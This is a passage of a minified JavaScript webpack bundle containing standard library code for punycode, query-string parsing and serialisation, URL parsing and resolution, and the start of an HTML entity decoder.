t,r,s=[],n=0,i=e.length;n<i;)(t=e.charCodeAt(n++))>=55296&&t<=56319&&n<i?56320==(64512&(r=e.charCodeAt(n++)))?s.push(((1023&t)<<10)+(1023&r)+65536):(s.push(t),n--):s.push(t);return s}function b(e){return A(e,(function(e){var t="";return e>65535&&(t+=T((e-=65536)>>>10&1023|55296),e=56320|1023&e),t+T(e)})).join("")}function O(e,t){return e+22+75*(e<26)-((0!=t)<<5)}function S(e,t,r){var s=0;for(e=r?_(e/d):e>>1,e+=_(e/t);e>m*u>>1;s+=l)e=_(e/m);return _(s+(m+1)*e/(e+c))}function I(e){var t,r,s,n,i,a,c,d,h,f,p,g=[],m=e.length,T=0,A=128,y=72;for((r=e.lastIndexOf("-"))<0&&(r=0),s=0;s<r;++s)e.charCodeAt(s)>=128&&E("not-basic"),g.push(e.charCodeAt(s));for(n=r>0?r+1:0;n<m;){for(i=T,a=1,c=l;n>=m&&E("invalid-input"),((d=(p=e.charCodeAt(n++))-48<10?p-22:p-65<26?p-65:p-97<26?p-97:l)>=l||d>_((o-T)/a))&&E("overflow"),T+=d*a,!(d<(h=c<=y?1:c>=y+u?u:c-y));c+=l)a>_(o/(f=l-h))&&E("overflow"),a*=f;y=S(T-i,t=g.length+1,0==i),_(T/t)>o-A&&E("overflow"),A+=_(T/t),T%=t,g.splice(T++,0,A)}return b(g)}function C(e){var t,r,s,n,i,a,c,d,h,f,p,g,m,A,y,b=[];for(g=(e=v(e)).length,t=128,r=0,i=72,a=0;a<g;++a)(p=e[a])<128&&b.push(T(p));for(s=n=b.length,n&&b.push("-");s<g;){for(c=o,a=0;a<g;++a)(p=e[a])>=t&&p<c&&(c=p);for(c-t>_((o-r)/(m=s+1))&&E("overflow"),r+=(c-t)*m,t=c,a=0;a<g;++a)if((p=e[a])<t&&++r>o&&E("overflow"),p==t){for(d=r,h=l;!(d<(f=h<=i?1:h>=i+u?u:h-i));h+=l)y=d-f,A=l-f,b.push(T(O(f+y%A,0))),d=_(y/A);b.push(T(O(d,0))),i=S(r,m,s==n),r=0,++s}++r,++t}return b.join("")}a={version:"1.4.1",ucs2:{decode:v,encode:b},decode:I,encode:C,toASCII:function(e){return y(e,(function(e){return f.test(e)?"xn--"+C(e):e}))},toUnicode:function(e){return y(e,(function(e){return h.test(e)?I(e.slice(4).toLowerCase()):e}))}},void 0===(s=function(){return a}.call(t,r,t,e))||(e.exports=s)}()},39532:e=>{"use strict";var t=String.prototype.replace,r=/%20/g,s="RFC3986";e.exports={default:s,formatters:{RFC1738:function(e){return t.call(e,r,"+")},RFC3986:function(e){return String(e)}},RFC1738:"RFC1738",RFC3986:s}},35984:(e,t,r)=>{"use strict";var s=r(24730),n=r(7325),i=r(39532);e.exports={formats:i,parse:n,stringify:s}},7325:(e,t,r)=>{"use strict";var s=r(19368),n=Object.prototype.hasOwnProperty,i=Array.isArray,a={allowDots:!1,allowPrototypes:!1,allowSparse:!1,arrayLimit:20,charset:"utf-8",charsetSentinel:!1,comma:!1,decoder:s.decode,delimiter:"&",depth:5,ignoreQueryPrefix:!1,interpretNumericEntities:!1,parameterLimit:1e3,parseArrays:!0,plainObjects:!1,strictNullHandling:!1},o=function(e){return e.replace(/&#(\d+);/g,(function(e,t){return String.fromCharCode(parseInt(t,10))}))},l=function(e,t){return e&&"string"==typeof e&&t.comma&&e.indexOf(",")>-1?e.split(","):e},u=function(e,t,r,s){if(e){var i=r.allowDots?e.replace(/\.([^.[]+)/g,"[$1]"):e,a=/(\[[^[\]]*])/g,o=r.depth>0&&/(\[[^[\]]*])/.exec(i),u=o?i.slice(0,o.index):i,c=[];if(u){if(!r.plainObjects&&n.call(Object.prototype,u)&&!r.allowPrototypes)return;c.push(u)}for(var d=0;r.depth>0&&null!==(o=a.exec(i))&&d<r.depth;){if(d+=1,!r.plainObjects&&n.call(Object.prototype,o[1].slice(1,-1))&&!r.allowPrototypes)return;c.push(o[1])}return o&&c.push("["+i.slice(o.index)+"]"),function(e,t,r,s){for(var n=s?t:l(t,r),i=e.length-1;i>=0;--i){var a,o=e[i];if("[]"===o&&r.parseArrays)a=[].concat(n);else{a=r.plainObjects?Object.create(null):{};var u="["===o.charAt(0)&&"]"===o.charAt(o.length-1)?o.slice(1,-1):o,c=parseInt(u,10);r.parseArrays||""!==u?!isNaN(c)&&o!==u&&String(c)===u&&c>=0&&r.parseArrays&&c<=r.arrayLimit?(a=[])[c]=n:"__proto__"!==u&&(a[u]=n):a={0:n}}n=a}return n}(c,t,r,s)}};e.exports=function(e,t){var r=function(e){if(!e)return a;if(null!==e.decoder&&void 0!==e.decoder&&"function"!=typeof e.decoder)throw new TypeError("Decoder has to be a function.");if(void 0!==e.charset&&"utf-8"!==e.charset&&"iso-8859-1"!==e.charset)throw new TypeError("The charset option must be either utf-8, iso-8859-1, or undefined");var t=void 0===e.charset?a.charset:e.charset;return{allowDots:void 0===e.allowDots?a.allowDots:!!e.allowDots,allowPrototypes:"boolean"==typeof e.allowPrototypes?e.allowPrototypes:a.allowPrototypes,allowSparse:"boolean"==typeof e.allowSparse?e.allowSparse:a.allowSparse,arrayLimit:"number"==typeof e.arrayLimit?e.arrayLimit:a.arrayLimit,charset:t,charsetSentinel:"boolean"==typeof e.charsetSentinel?e.charsetSentinel:a.charsetSentinel,comma:"boolean"==typeof e.comma?e.comma:a.comma,decoder:"function"==typeof e.decoder?e.decoder:a.decoder,delimiter:"string"==typeof e.delimiter||s.isRegExp(e.delimiter)?e.delimiter:a.delimiter,depth:"number"==typeof e.depth||!1===e.depth?+e.depth:a.depth,ignoreQueryPrefix:!0===e.ignoreQueryPrefix,interpretNumericEntities:"boolean"==typeof e.interpretNumericEntities?e.interpretNumericEntities:a.interpretNumericEntities,parameterLimit:"number"==typeof e.parameterLimit?e.parameterLimit:a.parameterLimit,parseArrays:!1!==e.parseArrays,plainObjects:"boolean"==typeof e.plainObjects?e.plainObjects:a.plainObjects,strictNullHandling:"boolean"==typeof e.strictNullHandling?e.strictNullHandling:a.strictNullHandling}}(t);if(""===e||null==e)return r.plainObjects?Object.create(null):{};for(var c="string"==typeof e?function(e,t){var r,u={__proto__:null},c=t.ignoreQueryPrefix?e.replace(/^\?/,""):e,d=t.parameterLimit===1/0?void 0:t.parameterLimit,h=c.split(t.delimiter,d),f=-1,p=t.charset;if(t.charsetSentinel)for(r=0;r<h.length;++r)0===h[r].indexOf("utf8=")&&("utf8=%E2%9C%93"===h[r]?p="utf-8":"utf8=%26%2310003%3B"===h[r]&&(p="iso-8859-1"),f=r,r=h.length);for(r=0;r<h.length;++r)if(r!==f){var g,m,_=h[r],T=_.indexOf("]="),E=-1===T?_.indexOf("="):T+1;-1===E?(g=t.decoder(_,a.decoder,p,"key"),m=t.strictNullHandling?null:""):(g=t.decoder(_.slice(0,E),a.decoder,p,"key"),m=s.maybeMap(l(_.slice(E+1),t),(function(e){return t.decoder(e,a.decoder,p,"value")}))),m&&t.interpretNumericEntities&&"iso-8859-1"===p&&(m=o(m)),_.indexOf("[]=")>-1&&(m=i(m)?[m]:m),n.call(u,g)?u[g]=s.combine(u[g],m):u[g]=m}return u}(e,r):e,d=r.plainObjects?Object.create(null):{},h=Object.keys(c),f=0;f<h.length;++f){var p=h[f],g=u(p,c[p],r,"string"==typeof e);d=s.merge(d,g,r)}return!0===r.allowSparse?d:s.compact(d)}},24730:(e,t,r)=>{"use strict";var s=r(37478),n=r(19368),i=r(39532),a=Object.prototype.hasOwnProperty,o={brackets:function(e){return e+"[]"},comma:"comma",indices:function(e,t){return e+"["+t+"]"},repeat:function(e){return e}},l=Array.isArray,u=Array.prototype.push,c=function(e,t){u.apply(e,l(t)?t:[t])},d=Date.prototype.toISOString,h=i.default,f={addQueryPrefix:!1,allowDots:!1,charset:"utf-8",charsetSentinel:!1,delimiter:"&",encode:!0,encoder:n.encode,encodeValuesOnly:!1,format:h,formatter:i.formatters[h],indices:!1,serializeDate:function(e){return d.call(e)},skipNulls:!1,strictNullHandling:!1},p={},g=function e(t,r,i,a,o,u,d,h,g,m,_,T,E,A,y,v){for(var b,O=t,S=v,I=0,C=!1;void 0!==(S=S.get(p))&&!C;){var N=S.get(t);if(I+=1,void 0!==N){if(N===I)throw new RangeError("Cyclic object value");C=!0}void 0===S.get(p)&&(I=0)}if("function"==typeof h?O=h(r,O):O instanceof Date?O=_(O):"comma"===i&&l(O)&&(O=n.maybeMap(O,(function(e){return e instanceof Date?_(e):e}))),null===O){if(o)return d&&!A?d(r,f.encoder,y,"key",T):r;O=""}if("string"==typeof(b=O)||"number"==typeof b||"boolean"==typeof b||"symbol"==typeof b||"bigint"==typeof b||n.isBuffer(O))return d?[E(A?r:d(r,f.encoder,y,"key",T))+"="+E(d(O,f.encoder,y,"value",T))]:[E(r)+"="+E(String(O))];var D,w=[];if(void 0===O)return w;if("comma"===i&&l(O))A&&d&&(O=n.maybeMap(O,d)),D=[{value:O.length>0?O.join(",")||null:void 0}];else if(l(h))D=h;else{var P=Object.keys(O);D=g?P.sort(g):P}for(var R=a&&l(O)&&1===O.length?r+"[]":r,k=0;k<D.length;++k){var L=D[k],M="object"==typeof L&&void 0!==L.value?L.value:O[L];if(!u||null!==M){var x=l(O)?"function"==typeof i?i(R,L):R:R+(m?"."+L:"["+L+"]");v.set(t,I);var F=s();F.set(p,v),c(w,e(M,x,i,a,o,u,"comma"===i&&A&&l(O)?null:d,h,g,m,_,T,E,A,y,F))}}return w};e.exports=function(e,t){var r,n=e,u=function(e){if(!e)return f;if(null!==e.encoder&&void 0!==e.encoder&&"function"!=typeof e.encoder)throw new TypeError("Encoder has to be a function.");var t=e.charset||f.charset;if(void 0!==e.charset&&"utf-8"!==e.charset&&"iso-8859-1"!==e.charset)throw new TypeError("The charset option must be either utf-8, iso-8859-1, or undefined");var r=i.default;if(void 0!==e.format){if(!a.call(i.formatters,e.format))throw new TypeError("Unknown format option provided.");r=e.format}var s=i.formatters[r],n=f.filter;return("function"==typeof e.filter||l(e.filter))&&(n=e.filter),{addQueryPrefix:"boolean"==typeof e.addQueryPrefix?e.addQueryPrefix:f.addQueryPrefix,allowDots:void 0===e.allowDots?f.allowDots:!!e.allowDots,charset:t,charsetSentinel:"boolean"==typeof e.charsetSentinel?e.charsetSentinel:f.charsetSentinel,delimiter:void 0===e.delimiter?f.delimiter:e.delimiter,encode:"boolean"==typeof e.encode?e.encode:f.encode,encoder:"function"==typeof e.encoder?e.encoder:f.encoder,encodeValuesOnly:"boolean"==typeof e.encodeValuesOnly?e.encodeValuesOnly:f.encodeValuesOnly,filter:n,format:r,formatter:s,serializeDate:"function"==typeof e.serializeDate?e.serializeDate:f.serializeDate,skipNulls:"boolean"==typeof e.skipNulls?e.skipNulls:f.skipNulls,sort:"function"==typeof e.sort?e.sort:null,strictNullHandling:"boolean"==typeof e.strictNullHandling?e.strictNullHandling:f.strictNullHandling}}(t);"function"==typeof u.filter?n=(0,u.filter)("",n):l(u.filter)&&(r=u.filter);var d,h=[];if("object"!=typeof n||null===n)return"";d=t&&t.arrayFormat in o?t.arrayFormat:t&&"indices"in t?t.indices?"indices":"repeat":"indices";var p=o[d];if(t&&"commaRoundTrip"in t&&"boolean"!=typeof t.commaRoundTrip)throw new TypeError("`commaRoundTrip` must be a boolean, or absent");var m="comma"===p&&t&&t.commaRoundTrip;r||(r=Object.keys(n)),u.sort&&r.sort(u.sort);for(var _=s(),T=0;T<r.length;++T){var E=r[T];u.skipNulls&&null===n[E]||c(h,g(n[E],E,p,m,u.strictNullHandling,u.skipNulls,u.encode?u.encoder:null,u.filter,u.sort,u.allowDots,u.serializeDate,u.format,u.formatter,u.encodeValuesOnly,u.charset,_))}var A=h.join(u.delimiter),y=!0===u.addQueryPrefix?"?":"";return u.charsetSentinel&&("iso-8859-1"===u.charset?y+="utf8=%26%2310003%3B&":y+="utf8=%E2%9C%93&"),A.length>0?y+A:""}},19368:(e,t,r)=>{"use strict";var s=r(39532),n=Object.prototype.hasOwnProperty,i=Array.isArray,a=function(){for(var e=[],t=0;t<256;++t)e.push("%"+((t<16?"0":"")+t.toString(16)).toUpperCase());return e}(),o=function(e,t){for(var r=t&&t.plainObjects?Object.create(null):{},s=0;s<e.length;++s)void 0!==e[s]&&(r[s]=e[s]);return r};e.exports={arrayToObject:o,assign:function(e,t){return Object.keys(t).reduce((function(e,r){return e[r]=t[r],e}),e)},combine:function(e,t){return[].concat(e,t)},compact:function(e){for(var t=[{obj:{o:e},prop:"o"}],r=[],s=0;s<t.length;++s)for(var n=t[s],a=n.obj[n.prop],o=Object.keys(a),l=0;l<o.length;++l){var u=o[l],c=a[u];"object"==typeof c&&null!==c&&-1===r.indexOf(c)&&(t.push({obj:a,prop:u}),r.push(c))}return function(e){for(;e.length>1;){var t=e.pop(),r=t.obj[t.prop];if(i(r)){for(var s=[],n=0;n<r.length;++n)void 0!==r[n]&&s.push(r[n]);t.obj[t.prop]=s}}}(t),e},decode:function(e,t,r){var s=e.replace(/\+/g," ");if("iso-8859-1"===r)return s.replace(/%[0-9a-f]{2}/gi,unescape);try{return decodeURIComponent(s)}catch(e){return s}},encode:function(e,t,r,n,i){if(0===e.length)return e;var o=e;if("symbol"==typeof e?o=Symbol.prototype.toString.call(e):"string"!=typeof e&&(o=String(e)),"iso-8859-1"===r)return escape(o).replace(/%u[0-9a-f]{4}/gi,(function(e){return"%26%23"+parseInt(e.slice(2),16)+"%3B"}));for(var l="",u=0;u<o.length;++u){var c=o.charCodeAt(u);45===c||46===c||95===c||126===c||c>=48&&c<=57||c>=65&&c<=90||c>=97&&c<=122||i===s.RFC1738&&(40===c||41===c)?l+=o.charAt(u):c<128?l+=a[c]:c<2048?l+=a[192|c>>6]+a[128|63&c]:c<55296||c>=57344?l+=a[224|c>>12]+a[128|c>>6&63]+a[128|63&c]:(u+=1,c=65536+((1023&c)<<10|1023&o.charCodeAt(u)),l+=a[240|c>>18]+a[128|c>>12&63]+a[128|c>>6&63]+a[128|63&c])}return l},isBuffer:function(e){return!(!e||"object"!=typeof e||!(e.constructor&&e.constructor.isBuffer&&e.constructor.isBuffer(e)))},isRegExp:function(e){return"[object RegExp]"===Object.prototype.toString.call(e)},maybeMap:function(e,t){if(i(e)){for(var r=[],s=0;s<e.length;s+=1)r.push(t(e[s]));return r}return t(e)},merge:function e(t,r,s){if(!r)return t;if("object"!=typeof r){if(i(t))t.push(r);else{if(!t||"object"!=typeof t)return[t,r];(s&&(s.plainObjects||s.allowPrototypes)||!n.call(Object.prototype,r))&&(t[r]=!0)}return t}if(!t||"object"!=typeof t)return[t].concat(r);var a=t;return i(t)&&!i(r)&&(a=o(t,s)),i(t)&&i(r)?(r.forEach((function(r,i){if(n.call(t,i)){var a=t[i];a&&"object"==typeof a&&r&&"object"==typeof r?t[i]=e(a,r,s):t.push(r)}else t[i]=r})),t):Object.keys(r).reduce((function(t,i){var a=r[i];return n.call(t,i)?t[i]=e(t[i],a,s):t[i]=a,t}),a)}}},8575:(e,t,r)=>{"use strict";var s=r(52511);function n(){this.protocol=null,this.slashes=null,this.auth=null,this.host=null,this.port=null,this.hostname=null,this.hash=null,this.search=null,this.query=null,this.pathname=null,this.path=null,this.href=null}var i=/^([a-z0-9.+-]+:)/i,a=/:[0-9]*$/,o=/^(\/\/?(?!\/)[^?\s]*)(\?[^\s]*)?$/,l=["{","}","|","\\","^","`"].concat(["<",">",'"',"`"," ","\r","\n","\t"]),u=["'"].concat(l),c=["%","/","?",";","#"].concat(u),d=["/","?","#"],h=/^[+a-z0-9A-Z_-]{0,63}$/,f=/^([+a-z0-9A-Z_-]{0,63})(.*)$/,p={javascript:!0,"javascript:":!0},g={javascript:!0,"javascript:":!0},m={http:!0,https:!0,ftp:!0,gopher:!0,file:!0,"http:":!0,"https:":!0,"ftp:":!0,"gopher:":!0,"file:":!0},_=r(35984);function T(e,t,r){if(e&&"object"==typeof e&&e instanceof n)return e;var s=new n;return s.parse(e,t,r),s}n.prototype.parse=function(e,t,r){if("string"!=typeof e)throw new TypeError("Parameter 'url' must be a string, not "+typeof e);var n=e.indexOf("?"),a=-1!==n&&n<e.indexOf("#")?"?":"#",l=e.split(a);l[0]=l[0].replace(/\\/g,"/");var T=e=l.join(a);if(T=T.trim(),!r&&1===e.split("#").length){var E=o.exec(T);if(E)return this.path=T,this.href=T,this.pathname=E[1],E[2]?(this.search=E[2],this.query=t?_.parse(this.search.substr(1)):this.search.substr(1)):t&&(this.search="",this.query={}),this}var A=i.exec(T);if(A){var y=(A=A[0]).toLowerCase();this.protocol=y,T=T.substr(A.length)}if(r||A||T.match(/^\/\/[^@/]+@[^@/]+/)){var v="//"===T.substr(0,2);!v||A&&g[A]||(T=T.substr(2),this.slashes=!0)}if(!g[A]&&(v||A&&!m[A])){for(var b,O,S=-1,I=0;I<d.length;I++)-1!==(C=T.indexOf(d[I]))&&(-1===S||C<S)&&(S=C);for(-1!==(O=-1===S?T.lastIndexOf("@"):T.lastIndexOf("@",S))&&(b=T.slice(0,O),T=T.slice(O+1),this.auth=decodeURIComponent(b)),S=-1,I=0;I<c.length;I++){var C;-1!==(C=T.indexOf(c[I]))&&(-1===S||C<S)&&(S=C)}-1===S&&(S=T.length),this.host=T.slice(0,S),T=T.slice(S),this.parseHost(),this.hostname=this.hostname||"";var N="["===this.hostname[0]&&"]"===this.hostname[this.hostname.length-1];if(!N)for(var D=this.hostname.split(/\./),w=(I=0,D.length);I<w;I++){var P=D[I];if(P&&!P.match(h)){for(var R="",k=0,L=P.length;k<L;k++)P.charCodeAt(k)>127?R+="x":R+=P[k];if(!R.match(h)){var M=D.slice(0,I),x=D.slice(I+1),F=P.match(f);F&&(M.push(F[1]),x.unshift(F[2])),x.length&&(T="/"+x.join(".")+T),this.hostname=M.join(".");break}}}this.hostname.length>255?this.hostname="":this.hostname=this.hostname.toLowerCase(),N||(this.hostname=s.toASCII(this.hostname));var U=this.port?":"+this.port:"",B=this.hostname||"";this.host=B+U,this.href+=this.host,N&&(this.hostname=this.hostname.substr(1,this.hostname.length-2),"/"!==T[0]&&(T="/"+T))}if(!p[y])for(I=0,w=u.length;I<w;I++){var G=u[I];if(-1!==T.indexOf(G)){var H=encodeURIComponent(G);H===G&&(H=escape(G)),T=T.split(G).join(H)}}var j=T.indexOf("#");-1!==j&&(this.hash=T.substr(j),T=T.slice(0,j));var $=T.indexOf("?");if(-1!==$?(this.search=T.substr($),this.query=T.substr($+1),t&&(this.query=_.parse(this.query)),T=T.slice(0,$)):t&&(this.search="",this.query={}),T&&(this.pathname=T),m[y]&&this.hostname&&!this.pathname&&(this.pathname="/"),this.pathname||this.search){U=this.pathname||"";var W=this.search||"";this.path=U+W}return this.href=this.format(),this},n.prototype.format=function(){var e=this.auth||"";e&&(e=(e=encodeURIComponent(e)).replace(/%3A/i,":"),e+="@");var t=this.protocol||"",r=this.pathname||"",s=this.hash||"",n=!1,i="";this.host?n=e+this.host:this.hostname&&(n=e+(-1===this.hostname.indexOf(":")?this.hostname:"["+this.hostname+"]"),this.port&&(n+=":"+this.port)),this.query&&"object"==typeof this.query&&Object.keys(this.query).length&&(i=_.stringify(this.query,{arrayFormat:"repeat",addQueryPrefix:!1}));var a=this.search||i&&"?"+i||"";return t&&":"!==t.substr(-1)&&(t+=":"),this.slashes||(!t||m[t])&&!1!==n?(n="//"+(n||""),r&&"/"!==r.charAt(0)&&(r="/"+r)):n||(n=""),s&&"#"!==s.charAt(0)&&(s="#"+s),a&&"?"!==a.charAt(0)&&(a="?"+a),t+n+(r=r.replace(/[?#]/g,(function(e){return encodeURIComponent(e)})))+(a=a.replace("#","%23"))+s},n.prototype.resolve=function(e){return this.resolveObject(T(e,!1,!0)).format()},n.prototype.resolveObject=function(e){if("string"==typeof e){var t=new n;t.parse(e,!1,!0),e=t}for(var r=new n,s=Object.keys(this),i=0;i<s.length;i++){var a=s[i];r[a]=this[a]}if(r.hash=e.hash,""===e.href)return r.href=r.format(),r;if(e.slashes&&!e.protocol){for(var o=Object.keys(e),l=0;l<o.length;l++){var u=o[l];"protocol"!==u&&(r[u]=e[u])}return m[r.protocol]&&r.hostname&&!r.pathname&&(r.pathname="/",r.path=r.pathname),r.href=r.format(),r}if(e.protocol&&e.protocol!==r.protocol){if(!m[e.protocol]){for(var c=Object.keys(e),d=0;d<c.length;d++){var h=c[d];r[h]=e[h]}return r.href=r.format(),r}if(r.protocol=e.protocol,e.host||g[e.protocol])r.pathname=e.pathname;else{for(var f=(e.pathname||"").split("/");f.length&&!(e.host=f.shift()););e.host||(e.host=""),e.hostname||(e.hostname=""),""!==f[0]&&f.unshift(""),f.length<2&&f.unshift(""),r.pathname=f.join("/")}if(r.search=e.search,r.query=e.query,r.host=e.host||"",r.auth=e.auth,r.hostname=e.hostname||e.host,r.port=e.port,r.pathname||r.search){var p=r.pathname||"",_=r.search||"";r.path=p+_}return r.slashes=r.slashes||e.slashes,r.href=r.format(),r}var T=r.pathname&&"/"===r.pathname.charAt(0),E=e.host||e.pathname&&"/"===e.pathname.charAt(0),A=E||T||r.host&&e.pathname,y=A,v=r.pathname&&r.pathname.split("/")||[],b=(f=e.pathname&&e.pathname.split("/")||[],r.protocol&&!m[r.protocol]);if(b&&(r.hostname="",r.port=null,r.host&&(""===v[0]?v[0]=r.host:v.unshift(r.host)),r.host="",e.protocol&&(e.hostname=null,e.port=null,e.host&&(""===f[0]?f[0]=e.host:f.unshift(e.host)),e.host=null),A=A&&(""===f[0]||""===v[0])),E)r.host=e.host||""===e.host?e.host:r.host,r.hostname=e.hostname||""===e.hostname?e.hostname:r.hostname,r.search=e.search,r.query=e.query,v=f;else if(f.length)v||(v=[]),v.pop(),v=v.concat(f),r.search=e.search,r.query=e.query;else if(null!=e.search)return b&&(r.host=v.shift(),r.hostname=r.host,(N=!!(r.host&&r.host.indexOf("@")>0)&&r.host.split("@"))&&(r.auth=N.shift(),r.hostname=N.shift(),r.host=r.hostname)),r.search=e.search,r.query=e.query,null===r.pathname&&null===r.search||(r.path=(r.pathname?r.pathname:"")+(r.search?r.search:"")),r.href=r.format(),r;if(!v.length)return r.pathname=null,r.search?r.path="/"+r.search:r.path=null,r.href=r.format(),r;for(var O=v.slice(-1)[0],S=(r.host||e.host||v.length>1)&&("."===O||".."===O)||""===O,I=0,C=v.length;C>=0;C--)"."===(O=v[C])?v.splice(C,1):".."===O?(v.splice(C,1),I++):I&&(v.splice(C,1),I--);if(!A&&!y)for(;I--;I)v.unshift("..");!A||""===v[0]||v[0]&&"/"===v[0].charAt(0)||v.unshift(""),S&&"/"!==v.join("/").substr(-1)&&v.push("");var N,D=""===v[0]||v[0]&&"/"===v[0].charAt(0);return b&&(r.hostname=D?"":v.length?v.shift():"",r.host=r.hostname,(N=!!(r.host&&r.host.indexOf("@")>0)&&r.host.split("@"))&&(r.auth=N.shift(),r.hostname=N.shift(),r.host=r.hostname)),(A=A||r.host&&v.length)&&!D&&v.unshift(""),v.length>0?r.pathname=v.join("/"):(r.pathname=null,r.path=null),null===r.pathname&&null===r.search||(r.path=(r.pathname?r.pathname:"")+(r.search?r.search:"")),r.auth=e.auth||r.auth,r.slashes=r.slashes||e.slashes,r.href=r.format(),r},n.prototype.parseHost=function(){var e=this.host,t=a.exec(e);t&&(":"!==(t=t[0])&&(this.port=t.substr(1)),e=e.substr(0,e.length-t.length)),e&&(this.hostname=e)},t.parse=T,t.resolve=function(e,t){return T(e,!1,!0).resolve(t)},t.resolveObject=function(e,t){return e?T(e,!1,!0).resolveObject(t):t},t.format=function(e){return"string"==typeof e&&(e=T(e)),e instanceof n?e.format():n.prototype.format.call(e)},t.Url=n},98824:function(e,t,r){"use strict";var s=this&&this.__createBinding||(Object.create?function(e,t,r,s){void 0===s&&(s=r);var n=Object.getOwnPropertyDescriptor(t,r);n&&!("get"in n?!t.__esModule:n.writable||n.configurable)||(n={enumerable:!0,get:function(){return t[r]}}),Object.defineProperty(e,s,n)}:function(e,t,r,s){void 0===s&&(s=r),e[s]=t[r]}),n=this&&this.__setModuleDefault||(Object.create?function(e,t){Object.defineProperty(e,"default",{enumerable:!0,value:t})}:function(e,t){e.default=t}),i=this&&this.__importStar||function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)"default"!==r&&Object.prototype.hasOwnProperty.call(e,r)&&s(t,e,r);return n(t,e),t},a=this&&this.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(t,"__esModule",{value:!0}),t.decodeXML=t.decodeHTMLStrict=t.decodeHTMLAttribute=t.decodeHTML=t.determineBranch=t.EntityDecoder=t.DecodingMode=t.BinTrieFlags=t.fromCodePoint=t.replaceCodePoint=t.decodeCodePoint=t.xmlDecodeTree=t.htmlDecodeTree=void 0;var o=a(r(38099));t.htmlDecodeTree=o.default;var l=a(r(93350));t.xmlDecodeTree=l.default;var u=i(r(10057));t.decodeCodePoint=u.default;var c,d,h,f,p=r(10057);function g(e){return e>=c.ZERO&&e<=c.NINE}Object.defineProperty(t,"replaceCodePoint",{enumerable:!0,get:function(){return p.replaceCodePoint}}),Object.defineProperty(t,"fromCodePoint",{enumerable:!0,get:function(){return p.fromCodePoint}}),function(e){e[e.NUM=35]="NUM",e[e.SEMI=59]="SEMI",e[e.EQUALS=61]="EQUALS",e[e.ZERO=48]="ZERO",e[e.NINE=57]="NINE",e[e.LOWER_A=97]="LOWER_A",e[e.LOWER_F=102]="LOWER_F",e[e.LOWER_X=120]="LOWER_X",e[e.LOWER_Z=122]="LOWER_Z",e[e.UPPER_A=65]="UPPER_A",e[e.UPPER_F=70]="UPPER_F",e[e.UPPER_Z=90]="UPPER_Z"}(c||(c={})),function(e){e[e.VALUE_LENGTH=49152]="VALUE_LENGTH",e[e.BRANCH_LENGTH=16256]="BRANCH_LENGTH",e[e.JUMP_TABLE=127]="JUMP_TABLE"}(d=t.BinTrieFlags||(t.BinTrieFlags={})),function(e){e[e.EntityStart=0]="EntityStart",e[e.NumericStart=1]="NumericStart",e[e.NumericDecimal=2]="NumericDecimal",e[e.NumericHex=3]="NumericHex",e[e.NamedEntity=4]="NamedEntity"}(h||(h={})),function(e){e[e.Legacy=0]="Legacy",e[e.Strict=1]="Strict",e[e.Attribute=2]="Attribute"}(f=t.DecodingMode||(t.DecodingMode={}));var m=function(){function e(e,t,r){this.decodeTree=e,this.emitCodePoint=t,this.errors=r,this.state=h.EntityStart,this.consumed=1,this.result=0,this.treeIndex=0,this.excess=1,this.decodeMode=f.Strict}return e.prototype.startEntity=function(e){this.decodeMode=e,this.state=h.EntityStart,this.result=0,this.treeIndex=0,this.excess=1,this.consumed=1},e.prototype.write=function(e,t){switch(this.state){case h.EntityStart:return e.charCodeAt(t)===c.NUM?(this.state=h.NumericStart,this.consumed+=1,this.stateNumericStart(e,t+1)):(this.state=h.NamedEntity,this.stateNamedEntity(e,t));case h.NumericStart:return this.stateNumericStart(e,t);case h.NumericDecimal:return this.stateNumericDecimal(e,t);case h.NumericHex:return this.stateNumericHex(e,t);case h.NamedEntity:return this.stateNamedEntity(e,t)}},e.prototype.stateNumericStart=function(e,t){return t>=e.length?-1:(32|e.charCodeAt(t))===c.LOWER_X?(this.state=h.NumericHex,this.consumed+=1,this.stateNumericHex(e,t+1)):(this.state=h.NumericDecimal,this.stateNumericDecimal(e,t))},e.prototype.addToNumericResult=function(e,t,r,s){if(t!==r){var n=r-t;this.result=this.result*Math.pow(s,n)+parseInt(e.substr(t,n),s),this.consumed+=n}},e.prototype.stateNumericHex=function(e,t){for(var r,s=t;t<e.length;){var n=e.charCodeAt(t);if(!(g(n)||(r=n,r>=c.UPPER_A&&r<=c.UPPER_F||r>=c.LOWER_A&&r<=c.LOWER_F)))return this.addToNumericResult(e,s,t,16),this.emitNumericEntity(n,3);t+=1}return this.addToNumericResult(e,s,t,16),-1},e.prototype.stateNumericDecimal=function(e,t){for(var r=t;t<e.length;){var s=e.charCodeAt(t);if(!g(s))return this.addToNumericResult(e,r,t,10),this.emitNumericEntity(s,2);t+=1}return this.addToNumericResult(e,r,t,10),-1},e.prototype.emitNumericEntity=function(e,t){var r;if(this.consumed<=t)return null===(r=this.errors)||void 0===r||r.absenceOfDigitsInNumericCharacterReference(this.consumed),0;if(e===c.SEMI)this.consumed+=1;else if(this.decodeMode===f.Strict)return 0;return this.emitCodePoint((0,u.replaceCodePoint)(this.result),this.consumed),this.errors&&(e!==c.SEMI&&this.errors.missingSemicolonAfterCharacterReference(),this.errors.validateNumericCharacterReference(this.result)),this.consumed},e.prototype.stateNamedEntity=function(e,t){for(var r=this.decodeTree,s=r[this.treeIndex],n=(s&d.VALUE_LENGTH)>>14;t<e.length;t++,this.excess++){var i=e.charCodeAt(t);if(this.treeIndex=T(r,s,this.treeIndex+Math.max(1,n),i),this.treeIndex<0)return 0===this.result||this.decodeMode===f.Attribute&&(0===n||((a=i)===c.EQUALS||function(e){return e>=c.UPPER_A&&e<=c.UPPER_Z||e>=c.LOWER_A&&e<=c.LOWER_Z||g(e)}(a)))?0:this.emitNotTerminatedNamedEntity();if(0!=(n=((s=r[this.treeIndex])&d.VALUE_LENGTH)>>14)){if(i===c.SEMI)return this.emitNamedEntityData(this.treeIndex,n,this.consumed+this.excess);this.decodeMode!==f.Strict&&(this.result=this.treeIndex,this.consumed+=this.excess,this.excess=0)}}var a;return-1},e.prototype.emitNotTerminatedNamedEntity=function(){var e,t=this.result,r=(this.decodeTree[t]&d.VALUE_LENGTH)>>14;return this.emitNamedEntityData(t,r,this.consumed),null===(e=this.errors)||void 0===e||e.missingSemicolonAfterCharacterReference(),this.consumed},e.prototype.emitNamedEntityData=function(e,t,r){var s=this.decodeTree;return 